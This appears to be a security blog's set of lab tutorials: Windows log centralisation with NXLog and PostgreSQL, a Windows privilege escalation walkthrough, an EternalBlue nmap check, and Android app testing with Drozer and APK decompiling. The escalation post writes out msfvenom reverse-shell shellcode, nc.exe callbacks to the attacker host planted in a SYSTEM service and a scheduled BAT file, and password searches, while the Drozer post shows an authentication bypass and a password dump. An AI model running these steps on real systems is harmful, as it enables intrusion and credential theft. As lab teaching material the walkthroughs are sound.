PoC on Centralizing Windows Logs to PostgreSQL DB (via NXLog)

PoC on Centralizing Windows Logs to PostgreSQL DB (via NXLog)

Advertisements

In this Proof of Concept, it is trying to provide a skeleton for a secure, simple and friendly centralized log management solution for Windows events. The skeleton has the below features:

  1. The software components of the skeleton (i.e. Linux, NXLog Community Edition, PostgreSQL DBMS) are free in principle.
  2.  The log transmission between the agent and server are secured by TLS.
  3. The centralized log Database could be the friendly input of your SIEM solution.

Prerequisites for performing this Proof of Concept (PoC):

In this PoC, the lab environment is setup as below:

20171002_02b

Working Mechanism

  1. Forward MS Windows Event Log as Syslog over TLS from Windows Workstation (192.168.153.152) to Ubuntu Server (192.168.153.150)
  2. Ubuntu Server will insert any received Syslog to PostgreSQL server

Configuration

[Ubuntu Server Setup]

    1. Install NXLog Community Edition (The steps should be straightforward, please download the corresponding deb from https://nxlog.co/products/nxlog-community-edition/download)
    2. Install libdbd-pgsql

      sudo apt-get install libdbd-pgsql

      20171002_03a

    3. Create the required database and table in PostgreSQL

      CREATE DATABASE logdb;

      20171002_04c

      \connect logdb

      CREATE TABLE log (
      id serial,
      timestamp timestamp not null,
      hostname varchar(32) default NULL,
      sourceip varchar(128) default NULL,
      severity varchar(16) default NULL,
      logger varchar(16) default NULL,
      eventid varchar(8) default NULL,
      category varchar(64) default NULL,
      message text,
      PRIMARY KEY (id)
      );

      20171002_05c

    4. Modify the NXLog configuration file located at /etc/nxlog/nxlog.conf as below:

      User nxlog
      Group nxlog

      LogFile /var/log/nxlog/nxlog.log
      LogLevel INFO

      <Extension _syslog>
      Module xm_syslog
      </Extension>

      <Extension exec>
      Module xm_exec
      </Extension>

      <Input in>
      Module im_ssl
      Exec if $raw_event =~ /.*{“EventTime”:”(.*)”,”Hostname”:”(.*)”,”Keywords”:(.*),”EventType”:”(.*)”,”SeverityValue”:(.*),”Severity”:”(.*)”,”EventID”:(.*),”SourceName”:”(.*)”,”ProviderGuid”:”(.*)”,”Version”:(.*),”Task”:(.*),”OpcodeValue”:(.*),”RecordNumber”:(.*),”ProcessID”:(.*),”ThreadID”:(.*),”Channel”:”(.*)”,”Message”:”(.*)”,”EventReceivedTime”:”(.*)”,”SourceModuleName”:”(.*)”,”SourceModuleType”:”(.*)”\}/ \
      { \
      $EventTime = $1; \
      $Hostname = $2; \
      $Severity = $6; \
      $logger = $20; \
      $EventTime = $1; \
      $category = $8; \
      $eventid = $7; \
      $Message = $17; \
      }
      Host 0.0.0.0
      Port 514
      CAFile /home/crsoc/ca/cacert.pem
      CertFile /home/crsoc/ca/servercert.pem
      CertKeyFile /home/crsoc/ca/serverkey.pem
      InputType LineBased
      </Input>

      <Output dbi>
      Module om_dbi
      SQL         INSERT INTO log (timestamp, hostname, sourceip, severity, logger, eventid, category, message) \
      VALUES ($EventTime, $Hostname, $MessageSourceAddress, $Severity, $logger, $eventid, $category, $Message)
      Driver pgsql
      Option host 127.0.0.1
      Option username postgres
      Option password yourpassword
      Option dbname logdb
      </Output>

      <Route 1>
      Path in => dbi
      </Route>

      20171010_01
      For the parameters CAFile, CertFile, CertKeyFile under <Input in>, please provide / generate them by openssl on your own.

      Besides, please also change the network port and DB connection parameters to fir your actual operations.

      Also, be aware that the spacing in the nxlog.conf is sensitive. It is good to start editing from the sample config file.

      As a simple explanation of the above nxlog.conf:
      – <Input in> defines how the log will be input (i.e. syslog TLS in this PoC)
      – <Output dbi> defines how the log will be output / process (i.e. write to PostgreSQL DB in this PoC)
      – <Route 1> defines the routing after input (in the PoC, we use simple routing, log will be routed to <Output dbi> once received from <Input in>

    5. Restart NXLog

      service nxlog restart

      20171002_08

[Windows Workstation Setup]

    1. Install NXLog Community Edition into your Windows Server / Workstation, (The steps should be straightforward, please download the corresponding deb from https://nxlog.co/products/nxlog-community-edition/download)
    2. Modify the NXLog configuration file located at C:\Program Files (x86)\nxlog\conf as below:

      define ROOT C:\Program Files (x86)\nxlog

      Moduledir %ROOT%\modules
      CacheDir %ROOT%\data
      Pidfile %ROOT%\data\nxlog.pid
      SpoolDir %ROOT%\data
      LogFile %ROOT%\data\nxlog.log

      <Extension _syslog>
      Module      xm_syslog
      </Extension>

      <Extension json>
      Module      xm_json
      </Extension>

      <Extension exec>
      Module      xm_exec
      </Extension>

      <Input in>
      Module      im_msvistalog
      Exec        $Message = to_json(); to_syslog_bsd();
      SavePos TRUE
      ReadFromLast TRUE
      Query       <QueryList>\
      <Query Id=”0″>\
      <Select Path=”Application”>*</Select>\
      <Select Path=”System”>*</Select>\
      <Select Path=”Security”>*</Select>\
      </Query>\
      </QueryList>
      </Input>

      <Output out>
      Module      om_ssl
      Host        192.168.153.150
      Port        514
      CAFile C:\cert\cacert.pem
      CertFile C:\cert\clientcert.pem
      CertKeyFile C:\cert\clientkey.pem
      AllowUntrusted TRUE
      </Output>

      <Route 1>
      Path        in => out
      </Route>

      For the parameters CAFile, CertFile, CertKeyFile under <Input in>, please provide / generate them by openssl on your own, which should be match with CAFile for the centralised log server.

      Besides, please also change the network port and DB connection parameters to fir your actual operations.

    3. Restart NXLog
      20171010_02

Test Run the PoC

  1. In (log client) Windows host, try to enable some Windows Audit Policy and trigger some events
    20171010_03
  2. Login to the PostgreSQL DB to check if there is new data write to our defined table

    select * from log;

    20171010_04a
    20171010_04
    Bingo!

Conclusion

For large scale deployment, you could consider to use Group Policy to deploy the NXLog-CE and the nxlog.conf to being monitor Windows hosts.

Furthermore, you could set the heartbeat for the NXLog agents to keep track the agents’ availability.

Please drop me a line if you have questions.

Thanks for reading!

Best regards
Henry

 

 

Quick Demo on Windows Local Privilege Escalation

Quick Demo on Windows Local Privilege Escalation

Warning: DO NOT attempt to perform any unauthorized testing.

Prerequisites for performing this quick demo:

  • Kali Linux

In this quick demo, there is a known RCE vulnerability (EDB-ID: 42186) exist on our Windows target (IP: 192.168.153.147) within our  customized pentest lab environment.

Obtain Low-privilege Shell

  1. Obtain the PoC exploit script from Exploit DB https://www.exploit-db.com/exploits/42186/
  2. Modify the exploit script:
    By replacing the shellcode of line 24 – 61
    20170710-01
    with below shellcode generated from Kali (IP: 192.168.153.134) {to get the reverse shell}

    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.153.134 LPORT=443 EXITFUNC=thread -e x86/alpha_mixed -f python -v shellcode

    20170710-02.jpg
    20170710-03

  3. Setup the attack listener

    nc -nlvp 443

    20170710-04

  4. Run the shell script and obtain the Low-privilege Shell

    python 42186.py 192.168.153.147

    20170710-05

    whoami

    the current user is vul10\dummy


Reconnaissance

User information
List all user

net user

20170710-06
Check the user group of obtained user vul10\dummy

net user dummy

20170710-07
According to the local group membership information, “dummy” should have no administrative privilege.

Let’s check another interesting account “vul10”

net user vul10

20170710-08
According to the local group membership information, “vul10” belongs to “Administrators” group and it should have administrative privilege.

OS Information
Find out OS version

systeminfo | findstr /B /C:”OS Name” /C:”OS Version”

20170710-09
Active Connection
Show active connection (especially listening ports

netstat -ano

20170710-10
Check Windows Patch Level
Use “wmic” (a command line command to query WMI entries) to check applied Windows patches

wmic qfe get Caption,Description,HotFixID,InstalledOn

20170710-11

Search file system for file names containing certain keywords
Search all accessible files with file names containing defined keywords (i.e. pass, admin) under identified “interesting directory” {The output could be a lot and not easy to spot the “interesting file(s)” if it is started from the root directory c:\ }

dir /s *pass* == *admin*

20170710-12
Search plain text file content containing certain keywords
Search all accessible plain text files (*.xml *.ini *.txt) with content containing defined keywords (i.e. password) under identified “interesting directory” {The output could be a lot and not easy to spot the “interesting file(s)” if it is started from the root directory c:\ }

findstr /si password *.xml *.ini *.txt

20170710-13
Search registry containing certain keywords
Search HKLM & HKCU with registry values containing defined keywords (i.e. password) {The output could be a lot and if the keyword is too general} 

reg query HKLM /f password /t REG_SZ /s

20170710-14

reg query HKCU /f password /t REG_SZ /s

20170710-15
Review running processes
Lists all the service information for each process

tasklist /SVC

20170710-21

Besides the above reconnaissance, some more checks could be done as well, e.g.:

  • Firewall status

    netsh firewall show state
    netsh firewall show config

  • network interfaces

    ipconfig /all

  • Windows unattended setup configuration files, e.g.
    c:\sysprep.inf
    c:\sysprep\sysprep.xml

In this quick demo, those detail will not be gone through.


Windows Local Privilege Escalation
Sometimes the Local Privilege Escalation could be achieved by using CVE, this demo will NOT go through that direction, but put the focus in mis-configuration (mainly related to access permission).

    1. Access rights checking
      The goal of access rights checking is to find out if the obtained low privilege permissions could escalate to system / admin privilege. AccessChk from Microsoft (https://technet.microsoft.com/en-us/sysinternals/accesschk) is a useful tool for checking access permission in Windows CMD environment.Download the AccessChk to Kali (for convenience in next step to put the file to the target machine, downloading the file directly to the Kali FTP home directory could be a good option)

      wget https://download.sysinternals.com/files/AccessChk.zipunzip AccessChk.zip

      20170710-16
      The standard output from an interactive program (e.g. FTP) is often not redirected correctly to the shell, it will cause timed out, or shell disconnect.

      Therefore, it is required to transfer the file accesschk.exe  and nc.exe (prepare for reverse admin shell setup) over FTP non-interactively to the Target machine from Kali.

      echo open 192.168.153.134 21> ftp.txt
      echo USER offsec password>> ftp.txt
      echo bin>> ftp.txt
      echo GET nc.exe>> ftp.txt
      echo GET accesschk.exe>> ftp.txt
      echo bye>> ftp.txt

      ftp -v -n -s:ftp.txt

      20170710-17
      20170710-18
      EULA must be accepted for the first time use.

      accesschk /accepteula

      20170710-19

      Let’s check if any Windows services could allow low privilege user (i.e. “Authenticated Users”) to have write access.

      accesschk.exe -uwcqv “Authenticated Users” *

      20170710-20
      Woo! There is a service (i.e. “Admin_Log_Review“) that could be modified by “Authenticated Users”. (It could be potentially used for Local Privilege Escalation by manipulating the Windows services. Let’s come back to this in a later section!)

    2. Scheduled tasks checking
      The goal of scheduled tasks checking is to check if there is any scheduled scripts / executable files that we could manipulate them to escalate to system / admin privilege.List out all scheduled tasks

      schtasks /query /fo LIST /v

      20170710-22
      There is one interesting task named “Admin_log_record”, which run as user “SYSTEM“! And, the task is to run a BAT file “c:\vul_app\run.bat” for every 5 minutes.

      Let’s check the file permission of C:\vul_app\run.bat

      icacls “c:\vul_app\run.bat”

      20170710-23
      For detail of the permission mask, please refer to Microsoft official page (https://technet.microsoft.com/en-us/library/cc753525(v=ws.11).aspx) .

      From the above output, it means we could modify the file c:\vul_app\run.bat (as Authenticated Users)! (It could be potentially used for Local Privilege Escalation by manipulating the scheduled task “Admin_log_record” OR manipulating the content of the file c:\vul_app\run.bat . Let’s come back to this in a later section!)


    3. Windows services manipulation
      From the above reconnaissance, it is identified that Windows service “Admin_Log_Review” could be modified by current obtained privilege.Let’s query more detail of  Windows service “Admin_Log_Review”

      sc qc Admin_Log_Review

      20170710-24
      The Windows service “Admin_Log_Review” is run as “LocalSystem“!

      Let’s try to modify the service, so that a reverse shell with system privilege could be established back to Kali.

      a) change the BINARY_PATH_NAME

      sc config Admin_Log_Review binpath= “C:\Users\dummy\temp\nc.exe -nv 192.168.153.134 80 -e C:\WINDOWS\System32\cmd.exe”

      b) review if the changes is made

      sc qc Admin_Log_Review

      20170710-27
      c) setup the attack listener at another available network port (e.g. 80/tcp) in Kali

      nc -nlvp 80

      20170710-26
      d) restart the Windows service “Admin_Log_Review”

      net stop Admin_Log_Review
      net start Admin_Log_Review

      20170710-28
      Bingo! system privileges is obtained!

    4. Scheduled task manipulation
      Let’s try to obtain the system privileges in another way. From the above reconnaissance, it is identified that the scheduled task “Admin_log_record” is run as user “SYSTEM” and the task is to execute the BAT file “c:\vul_app\run.bat” for every 5 minutes.Review the content of the BAT file “c:\vul_app\run.bat”

      type c:\vul_app\run.bat

      20170710-29
      From the content of the BAT file, it should be used by system admin to record the status of network connections and listening ports information. Anyway, the content is not really important 🙂

      In order to make use of this scheduled task to obtain system privileges, the below command should be appended to c:\vul_app\run.bat

      echo. >> c:\vul_app\run.bat

      echo C:\Users\dummy\temp\nc.exe -nv 192.168.153.134 80 -e C:\WINDOWS\System32\cmd.exe >> c:\vul_app\run.bat

      (The first line “echo.” is to add a blank new line to avoid any error)
      20170710-31

      Review the modified c:\vul_app\run.bat

      type c:\vul_app\run.bat

      20170710-32

      In order to trigger the reverse shell:
      either wait for the next run (around 5 minutes or below) of the scheduled task
      either run the task immediately by the below command

      schtasks /Run /TN Admin_log_record

      20170710-33
      Bingo! system privileges is obtained!


      Conclusion

      There are many possible ways to escalate the low privilege to system / admin Privilege, ‘the only limit is your imagination’  🙂

      Thanks for reading!

      Best regards
      Henry

Quick Nmap scan to identify hosts that vulnerable to EternalBlue (MS17-010)

By using Nmap script to detect if a Microsoft SMBv1 server is vulnerable to EternalBlue (MS17-010) remote code execution vulnerability.

(Kali Linux is used for below demo)

  1. Download the script “smb-vuln-ms17-010.nse” from nmap.org

    wget https://svn.nmap.org/nmap/scripts/smb-vuln-ms17-010.nse -O /usr/share/nmap/scripts/smb-vuln-ms17-010.nse

    20170628-23

  2. Conduct the scan again target IP or network
    {Please DO NOT conduct any unauthorized network scanning!}

    nmap -p445 -v –script smb-vuln-ms17-010 192.168.1.104

    20170628-24
    (The above result shows that the scanned host is NOT vulnerable to EternalBlue)

    Thanks for reading!

    Best regards
    Henry

Quick Demo on Performing Dynamic Analysis for Android App

Quick Demo on Performing Dynamic Analysis for Android App

Drozer is a comprehensive security audit and attack framework for Android, which is friendly to perform dynamic analysis on Android app.

Two prerequisites for performing this quick demo:

  • Kali Linux
  • A rooted Android device (It could be Android Virtual Device – AVD, but physical Android device is used in this demo)

Installing the Drozer Console into Kali

  1. (Skip this step, if adb has been installed already) Install ADB tool

    sudo apt-get install android-tools-adb

  2. Install Drozer’s dependencies

    wget https://pypi.python.org/packages/25/5d/cc55d39ac39383dd6e04ae80501b9af3cc455be64740ad68a4e12ec81b00/setuptools-0.6c11-py2.7.egg#md5=fe1f997bc722265116870bc7919059ea

    (It you can’t use wget to get the file, please go to https://pypi.python.org/pypi/setuptools/0.6c11 to download the file “setuptools-0.6c11-py2.7.egg” via browser)
    20170628-01

    sh setuptools-0.6c11-py2.7.egg

    easy_install –allow-hosts pypi.python.org protobuf

    easy_install twisted==10.2.0

    20170628-02

  3. Install Drozer

    wget https://github.com/mwrlabs/drozer/releases/download/2.4.2/drozer-2.4.2-py2.7.egg

    easy_install ./drozer-2.4.2-py2.7.egg

    20170628-03

  4. Test the installation

    drozer

    20170628-04
    The above screen indicates the success of the console installation.

Installing the Drozer Agent into rooted Android device

  1. Make sure your rooted Android device has “Developer options” enabled with the following settings:
    Root access: Apps and ADB
    Android debugging: On
    ADB over network: On {ADB over USB could be used as well, but for some situations, some Android device vendor ID is not recognized by ADB tool. ADB over network could prevent this kind of connection issue.}20170628-05
  2. In Kali Linux, try to make a ADB connection to the rooted Android device

    adb connect 192.168.137.219

    20170628-05

    During establishing the ADB connection, please authorize it from your rooted Android device
    20170628-07

    Verify the ADB connection afterwards

    adb devices

    20170628-08

  3. Deploy the Drozer agent to the rooted Android device

    adb install agent.apk

    20170628-09

    20170628-10

Establish Drozer Session

  1. In Kali, port forward to a TCP socket opened by the Drozer Agent

    adb forward tcp:31415 tcp:31415

    20170628-10

  2. Launch the Drozer agent in the rooted Android device and select the “Embedded Server” option and tap “Enable” to start the server
    20170628-11
  3. Connect the console to the agent

    drozer console connect

    20170628-11

Basic Usage Demo

  1. (Skip this step, if target app is already in place) Install a dummy app named “Sieve” (Password Manager), which showcase some common Android vulnerabilities

    wget https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk

    adb install sieve.apk

    20170628-12
    20170628-13
    20170628-19
    Let’s play with the newly installed “Sieve” and enter some dummy information for testing.

  2. Find the identifier for “Sieve”

    run app.package.list -f sieve

    20170628-13

  3. Check the basic package information about “Sieve”

    run app.package.info -a com.mwr.example.sieve

    20170628-14

  4. Identify the Attack Surface of “Sieve”

    run app.package.attacksurface com.mwr.example.sieve

    20170628-15
    Attack Surface means those interfaces could be accessible (i.e. exported) to other apps:
    activities -> screens used by the app
    content providers -> database objects of the app
    services -> background tasks (Besides, the service of “Sieve” is debuggable, which means that a debugger could be attached to the process)

  5. Gather more information on activities

    run app.activity.info -a com.mwr.example.sieve

    20170628-16
    Since activities is exported and does not require any permission, let’s try to launch to launch the activity “com.mwr.example.sieve.PWList”

    run app.activity.start –component com.mwr.example.sieve com.mwr.example.sieve.PWList

    20170628-17
    20170628-22
    The authentication of “Sieve” has been successfully bypassed!

  6. Gather more information on content providers (i.e. database objects)

    run app.provider.info -a com.mwr.example.sieve

    20170628-20
    It confirms that these content providers do not require any particular permission to interact with them, except for the path “/Keys” in the “DBContentProvider”.

    As the content provider is named “DBContentProvider”, it may indicate some form of database could be located in its backend. The URIs to access the DBContentProvider needed to be identified.

    run scanner.provider.finduris -a com.mwr.example.sieve

    20170628-21
    Let’s retrieve information from those accessible URIs.

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/

    20170628-22
    A list of usernames, password (Base64-encoded) and email from “Sieve” could be retrieved.

Conclusion

  • Drozer is user friendly and easy to identify potential vulnerabilities in Android app
  • This demo only covers part of the features of Drozer, please explore more on your own. You could even customized your own module for Drozer to perform your own checking

 

Thanks for reading!

Best regards
Henry

Quick Demo on Reverse Engineering Android App

Quick Demo on Reverse Engineering Android App

For demo, debug version of DIVA (Damn insecure and vulnerable App) is used as the target Android App and Kali Linux is used as the tooling platform.

Download debug version of DIVA

  1. Visit the DIVA download page at DIVA download page and go to the section “Where can I get Diva?
    20170627-01
  2. Capture the download link and download the file by wget.

    wget http://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz

    Then, extract “diva-beta.tar.gz”

    tar xvzf diva-beta.tar.gz

    20170627-02

What is APK?

  1. Android Package Kit (APK) is the package file format used by the Android operating system for distribution and installation of mobile apps and middleware. It is a type of archive file, specifically in zip format packages.
    20170627-03
  2. But, the containing files can’t be just simply unzipped to obtain their original forms.
  3. classes.dex is the Dalvik (virtual machine in Google’s Android operating system) Bytecode of the APK file. dex2jar could be used to convert Dalvik Bytecode (DEX) to Java Bytecode (JAR). JD-GUI could be used to display Java source codes with a friendly GUI.
  4. apktool could be used to decode resources (e.g. xml files) within APK file to nearly original forms.
    20170627-04
    But, for ease of reverse-engineering (decompiling/editing) & recompiling of android application binaries within a single user-interface, APK Studio will be used. It is a cross-platform IDE with a friendly IDE like layout, with a code editor which supports syntax highlighting for Android SMALI (*.smali) code files.

Convert the APK into Java source code for detail review

  1. Extract the classes.dex from APK

    unzip diva-beta.apk classes.dex

    20170627-05

  2. Convert Dalvik Bytecode (DEX) into Java Bytecode (JAR)

    d2j-dex2jar classes.dex

    20170627-06

  3. (Skip this step, if JD-GUI has been installed already) Download JD-GUI installation package and install it

    wget https://github.com/java-decompiler/jd-gui/releases/download/v1.4.0/jd-gui_1.4.0-0_all.deb

    dpkg -i jd-gui_1.4.0-0_all.deb

    20170627-07

  4. Open classes-dex2jar.jar by JD-GUI

    java -jar /opt/jd-gui/jd-gui.jar /root/classes-dex2jar.jar

    20170627-08

Decode APK resources and SMALI code editing (decompile -> edit -> recompile)

  1. (Skip this step, if APK Studio has been installed already)
    Install the android adb

    sudo apt-get install android-tools-adb

    Download the source of APK Studio from APK studio official website
    20170627-10
    Change the download executable “apkstudio-d49d3de-linux.run” and run

    chmod +x apkstudio-d49d3de-linux.run

    ./apkstudio-d49d3de-linux.run

    20170627-11
    20170627-12
    20170627-13

  2. Open APK Studio and open the APK file

    /opt/apkstudio/apkstudio

    20170627-14

  3. Review and edit the XML and SMALI code
    20170627-15
    (Sign and export APK will not be discussed here, that should be simple.)

Conclusion

  • Converted Java source code is good for understanding the detail program structure (assume code obfuscation is not implemented)
  • SMALI code is good for quick edit (by making reference to Java source code)

Thanks for reading!

Best regards
Henry